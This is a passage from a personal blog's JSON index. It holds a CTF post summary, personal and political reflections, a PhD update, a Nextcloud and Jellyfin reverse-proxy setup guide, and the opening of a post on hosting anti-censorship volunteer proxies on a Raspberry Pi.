MlzdYdPXNCJZUDswt7HZCgQv66zF9\u0026#43;pLkQ/8rl\u0026#43;RVOMW9GqJmE6O0uh4xmPDE8vS YK3/9gFIcXVMy7WsIwEx\u0026#43;xWQqcm815OZSIrw4kvt1\u0026#43;seZ8lUURmoAWRDEFrFUTCG zB6tKRPKoID643AdO\u0026#43;Cb\u0026#43;GS5MLuypaQnoZzl3ALspaV7/YTfVcQ= =BDGe -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md curl -fSLO https://blog.alipour.eu/sources/posts/g00_tuw_measurement_ctf.md.asc gpg --verify g00_tuw_measurement_ctf.md.asc g00_tuw_measurement_ctf.md ","permalink":"https://blog.alipour.eu/posts/g00_tuw_measurement_ctf/","summary":"LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.","title":"A TU Wien CTF where Sysops Klaus left the keys in the cron job"},{"content":"Now that I\u0026rsquo;ve had some time to process, I think it\u0026rsquo;s good to write down this sad experience. First things first, I do know that I stand by my decision. I strongly believe whatever the f*** our interactions were, they were not of any use for me. Like what\u0026rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. If we would never enter eachother\u0026rsquo;s social cycle. I don\u0026rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. Hm\u0026hellip; ok, it still doesn\u0026rsquo;t make sense. Let me think if I can say it better or not. Ok, let\u0026rsquo;s say you this person X. Imagine you interact with person X, talk to them, etc., but then that\u0026rsquo;s it, it is limited to \u0026ldquo;talking\u0026rdquo;. You count person X as a friend, but they are never invited to anything. They are kept at arms distance. Now I would assume it\u0026rsquo;s fun for many many people, but me\u0026hellip; I already have a small social cycle. It requires so much energy for me to start new connections, connections that are worth keeping. I don\u0026rsquo;t want to be a docker container. Some isolated thing that is only interacted with when needed. But I think I communicated this so badly, that it came off wrong. To be honest, even my therapist didn\u0026rsquo;t seem to believe me when I said I wanted to be included in her social circle. He though it was an attempt by me to poke her. I do strongly believe this wasn\u0026rsquo;t the case, but I\u0026rsquo;m too hurt to try to defend myself. I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.\nNow the interesting part is my reaction. \u0026ldquo;Withdrawal\u0026rdquo;. The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. But this was strong. I did not want to respond. In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. During my therappy though, I did open the message. I went silent. I tried to process. The weight of that was heavy. It became hard to talk. Hard to reason. It was just\u0026hellip;. sad.\nGoing forward I know that the best way forward for me is to stop any communications with her. It is sad, this losing of a friend, but let\u0026rsquo;s be honest, were we friends? No. Not my definition of friendship. And honestly, this should be a hard line for me, I don\u0026rsquo;t care how you define friendship. If it isn\u0026rsquo;t mutual, it isn\u0026rsquo;t good enough for me. I need to be more dominant, and less scared. My lines are my lines, and they are not to be negotiated with. I need to remain strong, and just let go.\nI just realized I did not even talk about what happened. LMAO. Long story short, there was this person who I knew for some time. We used to exchange messages every once in a while. I asked if we would be spending time together, or with each other\u0026rsquo;s social circle, which to be honest came out super wrong :)))))) I wasn\u0026rsquo;t trying to ask her out. I just wanted to be included in some of the social gatherings with her social circle. To expand mine. To get to see new people. Call me an idiot, or whatever, but I didn\u0026rsquo;t know how to put this into words. And I did not do it correctly it seems as I got \u0026ldquo;rejected\u0026rdquo;. But as my friend says, \u0026ldquo;better a sad ending, than a never ending sadness\u0026rdquo;. I wansn\u0026rsquo;t trying to ask her out, but my social skills are so bad that it came so so wrongly.\nI do stand by my decision though. No more interactions with her. Nothing. I need to become friends with people that don\u0026rsquo;t keep me isolated, or stored for their needs. It should be mutual. At least, whatever interactions we had, had nothing useful for me. If anything, it just hurt me by showing how lonely I am. You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? If I\u0026rsquo;m not being helped. If I\u0026rsquo;m being kept at arms distance. If I\u0026rsquo;m being isolated. I\u0026rsquo;m no docker process who should be kept isolated. I\u0026rsquo;m the kernel module.\nThis came out weird coming from me, but it is what it is :) I should, and need to say \u0026ldquo;I\u0026rdquo; sometimes. I need to assert dominance, to show I\u0026rsquo;m in control, to show I\u0026rsquo;m happy, to show everything is fine.\nDownloads: Markdown · Signature (.asc) Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/archive/face_of_rejection.md curl -fSLO https://blog.alipour.eu/sources/archive/face_of_rejection.md.asc gpg --verify face_of_rejection.md.asc face_of_rejection.md ","permalink":"https://blog.alipour.eu/archive/face_of_rejection/","summary":"\u003cp\u003eNow that I\u0026rsquo;ve had some time to process, I think it\u0026rsquo;s good to write down this sad experience.\nFirst things first, I do know that I stand by my decision.\nI strongly believe whatever the f*** our interactions were, they were not of any use for me.\nLike what\u0026rsquo;s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it.\nIf we would never enter eachother\u0026rsquo;s social cycle.\nI don\u0026rsquo;t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends.\nHm\u0026hellip; ok, it still doesn\u0026rsquo;t make sense.\nLet me think if I can say it better or not.\nOk, let\u0026rsquo;s say you this person X.\nImagine you interact with person X, talk to them, etc., but then that\u0026rsquo;s it, it is limited to \u0026ldquo;talking\u0026rdquo;.\nYou count person X as a friend, but they are never invited to anything.\nThey are kept at arms distance.\nNow I would assume it\u0026rsquo;s fun for many many people, but me\u0026hellip;\nI already have a small social cycle.\nIt requires so much energy for me to start new connections, connections that are worth keeping.\nI don\u0026rsquo;t want to be a docker container.\nSome isolated thing that is only interacted with when needed.\nBut I think I communicated this so badly, that it came off wrong.\nTo be honest, even my therapist didn\u0026rsquo;t seem to believe me when I said I wanted to be included in her social circle.\nHe though it was an attempt by me to poke her.\nI do strongly believe this wasn\u0026rsquo;t the case, but I\u0026rsquo;m too hurt to try to defend myself.\nI also highly doubt defending myself would work, it would just add more pressure, and harder rejection.\u003c/p\u003e","title":"Face of Rejection"},{"content":"I know, I know. I\u0026rsquo;ve been lacking updates. I\u0026rsquo;m so so sorry. I will try to summerize what I\u0026rsquo;ve been up tp in the past few months.\nUp until the middle of March, I\u0026rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I\u0026rsquo;m done with that all together.\nI took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn\u0026rsquo;t know much about. Though no mail server for me unfortunately.\nI was then approached by a colleague who\u0026rsquo;s research needed a bit of push to get to the IMC deadline, and we pushed \u0026ldquo;HARD\u0026rdquo;. We submitted the paper with so much chaos I would say. But we did it.\nNow I wonder, both my research projects that I\u0026rsquo;ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)\nI also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)\nI will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM jSo5RA/6AuVU66S\u0026#43;Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/ vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A\u0026#43;RNCQvo33\u0026#43;U\u0026#43;JiH5YbFUbXQkbjggTcP GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J\u0026#43;kKRif vQyuWINpZZWxSV8\u0026#43;UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM 1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq AhP8p\u0026#43;XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi\u0026#43;F\u0026#43;sQmIX1waNiM2Bc69ZBh S\u0026#43;DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o\u0026#43;GZSxRI hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw vr9LIXqyrjKcltjpj6UEtjy3\u0026#43;sXYPxw2XL0bdjlzdgg4afI7gJ9\u0026#43;b2QjHKYYYy8H DjdPpaWlQvkGOBkfM\u0026#43;11Cwn5Q7U5\u0026#43;VdY\u0026#43;Qil0Qc/g2Ksl77/nvQ= =Wtha -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/PhD_journey/April_2026.md curl -fSLO https://blog.alipour.eu/sources/PhD_journey/April_2026.md.asc gpg --verify April_2026.md.asc April_2026.md ","permalink":"https://blog.alipour.eu/phd_journey/april_2026/","summary":"\u003cp\u003eI know, I know. I\u0026rsquo;ve been lacking updates. I\u0026rsquo;m so so sorry. I will try to summerize what I\u0026rsquo;ve been up tp in the past few months.\u003c/p\u003e\n\u003cp\u003eUp until the middle of March, I\u0026rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I\u0026rsquo;m done with that all together.\u003c/p\u003e\n\u003cp\u003eI took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn\u0026rsquo;t know much about. Though no mail server for me unfortunately.\u003c/p\u003e","title":"April '26"},{"content":"Hello friends. I\u0026rsquo;m back. It\u0026rsquo;s been\u0026hellip; let\u0026rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I\u0026rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it\u0026rsquo;s shadow over the country for decades. It\u0026rsquo;s funny how his father (I\u0026rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people\u0026rsquo;s lives, and then selling people\u0026rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it\u0026rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not \u0026ldquo;own\u0026rdquo; makes him the best candidate for exploitation. And he has shown this very well.\nThe occasion is super grim. Radical right wants to oust radical right. LMFAOOOOO. I honestly think Iranian people are just far far divided, and both sides are utterly culturally underdeveloped. Anger has blinded their eyes, and they made a deal with the devil. The end will not be any good either. I have no hopes for the country anymore.\nIt\u0026rsquo;s so so sad that I\u0026rsquo;m siding the with this disgusting theocratic regime, just because they have not folded in front of the ones who do not care the least about Iran. Those who want to create a fail state, and expand their borders. It\u0026rsquo;s so sad that every time the country tried to move toward democracy, the people got fucked by a foreign power. The current revolution, the uprisings of 2023-4, JCPOA, \u0026hellip;, Persian Constitutional Revolution, etc.. So fucking sad.\nThe saddest part is with how much Iran has gotten fucked over the decades, and how far right this regisme has become, I don\u0026rsquo;t think the people will ever have the possibility of making change from within for many many more years to come. And foreign intervention just fuels the current regime\u0026rsquo;s influence over it\u0026rsquo;s people.\nAnother reason why we got so screwed is Oil. The curse of resources is sadly a thing that can cause what you see. A defiant regime, who rules bruttally against it\u0026rsquo;s own people. Years of stagflation, and no bright light in sight.\nAnyway, I just wanted to write something as I was very much inactive for the past few months. I submitted a paper this week, and have big big plans for my own projects. :)\nUnfortunately not advancement on the dating lifepart. Dating sucks for avg boys like me! Cross your fingers please! :D:D\nI honestly also don\u0026rsquo;t feel like proofreading the text, so\u0026hellip; there would be many mistakes. :) And honestly, idc.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM jSrREBAAlQM2XgTsOiyZ9MkFSkJ47nsvh9rqslZMdQkfHyHwUBAFdjUfx18ZFvRK 5JOxVAUAk1R8GOzr8LqTVeBMEmztnBFrYcnzXo0wfbydPt6IdgmCNQMAYHw/y/Pz Ncqa1n\u0026#43;O/lOyAWm2kMEwtNEqAj9TB48LxF53DCzpFO/mjr80aBYhVPQN4GlqMs9l rsY6qy0LbzC3FPtw0DdxEVr8seL7qYZc34tnTtsGFdxoalbS\u0026#43;K5uanIieb1qQ5Rw z6UNkiCqUJQVVsZc04PlzBQfghRwifwgwuh2rDh1yl9cClgE4Gu2QmATq\u0026#43;8\u0026#43;ozH\u0026#43; 0XME9Dy/xEhbFay5FphJ7u8BoxCEkuLRmYjfYxkXB8N81uSCMitxKywsL5Bn/Mwb 4bXwNsJUqeNC7UIWnaMoEzy9aR53BRsOEZdEMY\u0026#43;1Ade\u0026#43;vRbuQOxTq70prw9efUnM XraZbBSSERV9v8d16A4ZA3hn6PsbvACYAa72FzrlrZhgeSMgagoLp\u0026#43;QWcUBiRZCS /mNXcSn04Ep/o9EuFZZyxRPGx0fFXO2ZNjN/WpctIb8qlNyoqMhyMb4NXJXrr/d1 wY3LJjmn8UM\u0026#43;MOi0CRBYg0B0He4AnGsKD2ARncv6s3vPwPWr95p6jhThOZ/3wqyM QGESlBJ5rM/PmozfLI5D\u0026#43;I\u0026#43;YuX9HM8VO1/HcP28U11lfGCm48YA= =7md6 -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/h3ll0_fr1end.md curl -fSLO https://blog.alipour.eu/sources/posts/h3ll0_fr1end.md.asc gpg --verify h3ll0_fr1end.md.asc h3ll0_fr1end.md ","permalink":"https://blog.alipour.eu/posts/h3ll0_fr1end/","summary":"\u003cp\u003eHello friends. I\u0026rsquo;m back. It\u0026rsquo;s been\u0026hellip; let\u0026rsquo;s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I\u0026rsquo;m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it\u0026rsquo;s shadow over the country for decades. It\u0026rsquo;s funny how his father (I\u0026rsquo;m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people\u0026rsquo;s lives, and then selling people\u0026rsquo;s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it\u0026rsquo;s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not \u0026ldquo;own\u0026rdquo; makes him the best candidate for exploitation. And he has shown this very well.\u003c/p\u003e","title":"H3ll0 Fr1end"},{"content":" I didn’t “move Nextcloud to the cloud”.\nI moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄\nThis post documents the setup I ended up with:\nA public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin\n(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide.\n0) Topology The request path looks like:\nBrowser ↓ HTTPS (public) Cloudflare DNS (optional proxy on/off) ↓ VPS (funbox) — Nginx reverse proxy + Let\u0026#39;s Encrypt ↓ HTTP over Tailscale (private 100.x network) Raspberry Pi (iot-hub) — Docker: Nextcloud / Jellyfin / … Why I like it:\nThe Pi can sit behind home router / CGNAT and still be reachable. TLS, redirects, headers, auth, rate limits… all centralized on the VPS. Internal IPs can change without breaking public URLs. 1) What’s running on the Pi? On iot-hub the “interesting” containers are:\nnextcloud (Apache variant) nextcloud-db (Postgres) nextcloud-redis jellyfin Example docker ps style output (yours may vary):\nnextcloud nextcloud:apache 0.0.0.0:8080-\u0026gt;80/tcp jellyfin jellyfin/jellyfin 0.0.0.0:8096-\u0026gt;8096/tcp So on the Pi, the services listen on:\nhttp://\u0026lt;pi\u0026gt;:8080 for Nextcloud http://\u0026lt;pi\u0026gt;:8096 for Jellyfin But in my setup, the VPS does not reach those via LAN — it reaches them via Tailscale IPs.\n2) Tailscale: the private wire between VPS and Pi Tailscale assigns each node an address like 100.xx.yy.zz.\nIn my config, Nginx on funbox points to the Pi via Tailscale:\nNextcloud upstream: http://100.104.127.96:8080 Jellyfin upstream: http://100.104.127.96:8096 (Use the Tailscale IP of your Pi.)\nQuick sanity checks from the VPS:\n# from funbox, make sure you can reach the Pi service: curl -I http://100.104.127.96:8080 curl -I http://100.104.127.96:8096 If those don’t work: fix Tailscale connectivity first (ACLs, firewall, node online).\n3) Nginx on the VPS: reverse proxy blocks 3.1 Nextcloud vhost (VPS → Pi via Tailscale) Create (or edit):\n/etc/nginx/sites-available/nextcloud.alipourimjourneys.ir\nand symlink into sites-enabled.\nHere is a complete working example:\n# Redirect HTTP → HTTPS server { listen 80; listen [::]:80; server_name nextcloud.alipourimjourneys.ir; return 301 https://$host$request_uri; } server { listen 443 ssl; listen [::]:443 ssl; server_name nextcloud.alipourimjourneys.ir; # Certbot-managed certs ssl_certificate /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/nextcloud.alipourimjourneys.ir/privkey.pem; include /etc/letsencrypt/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # Big uploads (tune to taste) client_max_body_size 2G; # CalDAV/CardDAV redirects location = /.well-known/carddav { return 301 https://$host/remote.php/dav/; } location = /.well-known/caldav { return 301 https://$host/remote.php/dav/; } location / { proxy_pass http://100.104.127.96:8080; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # Sometimes helps apps behind multiple proxies proxy_set_header X-Forwarded-Host $host; proxy_set_header X-Forwarded-Port $server_port; # Nextcloud + WebDAV can do long requests proxy_read_timeout 3600; proxy_send_timeout 3600; # Usually good for DAV/uploads proxy_buffering off; proxy_request_buffering off; } } Then test + reload:\nsudo nginx -t sudo systemctl reload nginx 3.2 Jellyfin vhost (with Basic Auth) Create:\n/etc/nginx/sites-available/jellyfin.alipourimjourneys.ir\nExample:\nserver { listen 80; listen [::]:80; server_name jellyfin.alipourimjourneys.ir; return 301 https://$host$request_uri; } server { listen 443 ssl; listen [::]:443 ssl; server_name jellyfin.alipourimjourneys.ir; ssl_certificate /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/jellyfin.alipourimjourneys.ir/privkey.pem; include /etc/letsencrypt/options-ssl-nginx.conf; ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; client_max_body_size 512M; # ✅ Basic Auth gate (extra layer before Jellyfin) auth_basic \u0026#34;Jellyfin (private)\u0026#34;; auth_basic_user_file /etc/nginx/.htpasswd-jellyfin; location / { proxy_pass http://100.104.127.96:8096; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # Jellyfin uses websockets proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_read_timeout 3600; proxy_send_timeout 3600; proxy_buffering off; } } Enable:\nsudo ln -s /etc/nginx/sites-available/jellyfin.alipourimjourneys.ir /etc/nginx/sites-enabled/ sudo nginx -t sudo systemctl reload nginx 4) Creating the Basic Auth password file Install tools (Debian/Ubuntu):\nsudo apt-get update sudo apt-get install -y apache2-utils Create the password file:\nsudo htpasswd -c /etc/nginx/.htpasswd-jellyfin yourusername (If adding more users later, omit -c.)\nLock it down:\nsudo chown root:root /etc/nginx/.htpasswd-jellyfin sudo chmod 640 /etc/nginx/.htpasswd-jellyfin Notes on clients Most browsers + most Jellyfin apps handle HTTP Basic Auth fine. Some TV apps can be quirky. If a client can’t handle it, you can: remove Basic Auth, or keep it only on selected paths, or use Cloudflare Access in front of Jellyfin instead (more work). 5) Nextcloud: configure it to behave behind the reverse proxy Nextcloud needs to know:\nwhat hostnames are valid, which proxy is trusted, and what the “outside” URL scheme is. You can do it via occ inside the container (Apache image uses www-data).\n5.1 trusted_domains Check current values:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:get trusted_domains Add your public domain:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_domains 1 --value=\u0026#34;nextcloud.alipourimjourneys.ir\u0026#34; (Keep your internal name too if you still use it, e.g. rpi:8080.)\n5.2 trusted_proxies Because requests arrive from the VPS (over Tailscale), Nextcloud must trust that proxy IP.\nExample:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:set trusted_proxies 0 --value=\u0026#34;100.99.79.75\u0026#34; (Use the VPS’s Tailscale IP as seen from the Pi.)\n5.3 overwritehost / overwriteprotocol / overwrite.cli.url Tell Nextcloud “the world sees me as https://nextcloud.example”:\ndocker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwritehost --value=\u0026#34;nextcloud.alipourimjourneys.ir\u0026#34; docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwriteprotocol --value=\u0026#34;https\u0026#34; docker exec -u www-data nextcloud php /var/www/html/occ config:system:set overwrite.cli.url --value=\u0026#34;https://nextcloud.alipourimjourneys.ir\u0026#34; 5.4 forwarded_for_headers (optional, but often helpful) docker exec -u www-data nextcloud php /var/www/html/occ config:system:set forwarded_for_headers 0 --value=\u0026#34;HTTP_X_FORWARDED_FOR\u0026#34; Restart Nextcloud container after config:\ndocker restart nextcloud 6) Sanity checks (curl is your friend) From anywhere public:\ncurl -I http://nextcloud.alipourimjourneys.ir curl -I https://nextcloud.alipourimjourneys.ir curl -I https://nextcloud.alipourimjourneys.ir/.well-known/caldav Expected “good signs”:\nHTTP returns 301 to HTTPS HTTPS returns 302 to /login (or 200 if already authenticated) /.well-known/caldav returns 301 to /remote.php/dav/ If you see redirect loops or wrong hostnames:\nrevisit overwritehost, overwriteprotocol, trusted_proxies. 7) “Do I really need Cloudflare Access / WARP?” The honest answer If your setup is:\nHTTPS only strong passwords + MFA in Nextcloud/Jellyfin your origin isn’t directly exposed (only the VPS is public) you keep things patched …then you’re already in a reasonable place.\n“Can I skip Cloudflare Access?” Yes. In this topology, Cloudflare Access is optional. The main security boundary is:\nPublic: VPS + Nginx Private: Pi over Tailscale For Jellyfin, Basic Auth adds a cheap extra gate that’s “family friendly”.\n8) Cloudflare Access: One-time PIN not arriving + passkeys Two common gotchas:\n8.1 One-time PIN email didn’t arrive That flow relies on email delivery. Check:\nspam/junk folder if your provider blocked it the exact email allowlist in your policy If it’s flaky, I’d avoid One-time PIN and use a real identity provider.\n8.2 Can I use passkeys / Apple / Google? Yes — but passkeys typically come via an identity provider (IdP) that supports WebAuthn/passkeys. Practical approach:\npick what your family already uses (Google or Apple), configure that as the login method, avoid WARP enrollment unless you specifically want device-based access. 9) Hardening checklist (tiny but effective) On the VPS:\nKeep Ubuntu security updates on firewall: allow only what you need (22/80/443) optional: fail2ban for SSH On the Pi:\nkeep Docker images updated Postgres/Redis not exposed publicly (Docker internal network) backups: Nextcloud data + DB 10) TL;DR VPS Nginx terminates TLS, proxies to Pi over Tailscale Nextcloud must be told about: trusted_domains trusted_proxies overwrite values (overwritehost, overwriteprotocol, overwrite.cli.url) curl -I should show sane redirects + /remote.php/dav/ Jellyfin gets an extra gate with Nginx Basic Auth Boring is good. Boring runs for months.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM jSomZA/\u0026#43;LsB\u0026#43;V0BnPki5qaDc\u0026#43;tRu6EXM5kPuH7G8x5ar4opsKgbfsRKEwT6/Q0Er vfg48uYNp4fBnoyfJrgURx\u0026#43;OwS7EVJRCmXaRsdilEEGHF7cT3qHhlczYaC\u0026#43;58lGs \u0026#43;qXaHjYE8x0byAZ8iHNxNUhIyILVrcsdua3JZ3D3J/8r93dfVgrWg41Nrtj4tPUE QQMW/KxTe/TOED4iivXxFlDCiT13KmgB/B9HeunGPqu8lPMTORf4ePoPzeYEeuuZ iVH\u0026#43;ssNZ9XB00Z4a/c3I0d2ALLYoA/dXmrJkl0qCCpCy\u0026#43;7/id2yz3eXYWn2xKMvp SAMTYaFAV6Fd7xdmxGYEeoCSDu8P57P7QfdPVEU1oUTANO21tEh1vGnjxcFdJUBx kOvBdjQf4wDqUuNv7NKA\u0026#43;OHOzhJ3Wf3VLb/ZNq6Y2okEibsCygm3XDn0008WeKPv ncB0gceY6nFYzbyhuUIhPtQJJWDNi5KG/KMEvYcebEwDzn7TErg/v3Bp8ZCdWRx/ Gs8K9nADnHhAjWgwTq3D\u0026#43;2qRWcF0tlLSTmKg\u0026#43;95yaYi0XWWMFGTgCv2odPsgFlIS 3FiLJC3rV73prsk\u0026#43;7eZftBTYCJN0Xk92YFj4a6bTYeuLcC20VbAA98Bpi0pCyO0v TJ2\u0026#43;amlKyT\u0026#43;Nq9wGrAez\u0026#43;dTvR0FKuEvA5OO693Aibv/iwOX6UPU= =2UUg -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md curl -fSLO https://blog.alipour.eu/sources/posts/pi_service_touchup.md.asc gpg --verify pi_service_touchup.md.asc pi_service_touchup.md ","permalink":"https://blog.alipour.eu/posts/pi_service_touchup/","summary":"\u003cblockquote\u003e\n\u003cp\u003eI didn’t “move Nextcloud to the cloud”.\u003cbr\u003e\nI moved the \u003cstrong\u003efront door\u003c/strong\u003e to a VPS… and kept the house on my Raspberry Pi. 😄\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eThis post documents the setup I ended up with:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eA public \u003cstrong\u003eVPS\u003c/strong\u003e (host: \u003ccode\u003efunbox\u003c/code\u003e) running \u003cstrong\u003eNginx\u003c/strong\u003e + \u003cstrong\u003eLet’s Encrypt\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eA private \u003cstrong\u003eRaspberry Pi\u003c/strong\u003e (host: \u003ccode\u003eiot-hub\u003c/code\u003e) running Docker services (\u003cstrong\u003eNextcloud\u003c/strong\u003e, \u003cstrong\u003eJellyfin\u003c/strong\u003e, …)\u003c/li\u003e\n\u003cli\u003eA private backhaul using \u003cstrong\u003eTailscale\u003c/strong\u003e (the \u003ccode\u003e100.x.y.z\u003c/code\u003e network)\u003c/li\u003e\n\u003cli\u003eA correct Nextcloud reverse-proxy configuration (\u003cstrong\u003etrusted_domains\u003c/strong\u003e, \u003cstrong\u003etrusted_proxies\u003c/strong\u003e, and overwrite values)\u003c/li\u003e\n\u003cli\u003eA pragmatic security layer for media: \u003cstrong\u003eBasic Auth at Nginx for Jellyfin\u003c/strong\u003e\u003cbr\u003e\n(in addition to Jellyfin’s own login)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI’m writing this as a “future me” note and a “copy-paste friendly” guide.\u003c/p\u003e","title":"Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin"},{"content":"Ever since the latest Internet/communication blackout in Iran, I\u0026rsquo;ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven\u0026rsquo;t opened it again.\nAfter getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.\nOne important vibe check before we start: I’m not giving anyone a custom “backdoor” into your network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as volunteer nodes inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.\nRunning Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever) I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.\nSo I turned my Pis into helpers.\nThis post is about running three different anti‑censorship tools on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:\nPsiphon Conduit – to help Psiphon users automatically Tor Snowflake (standalone proxy) – to help Tor users 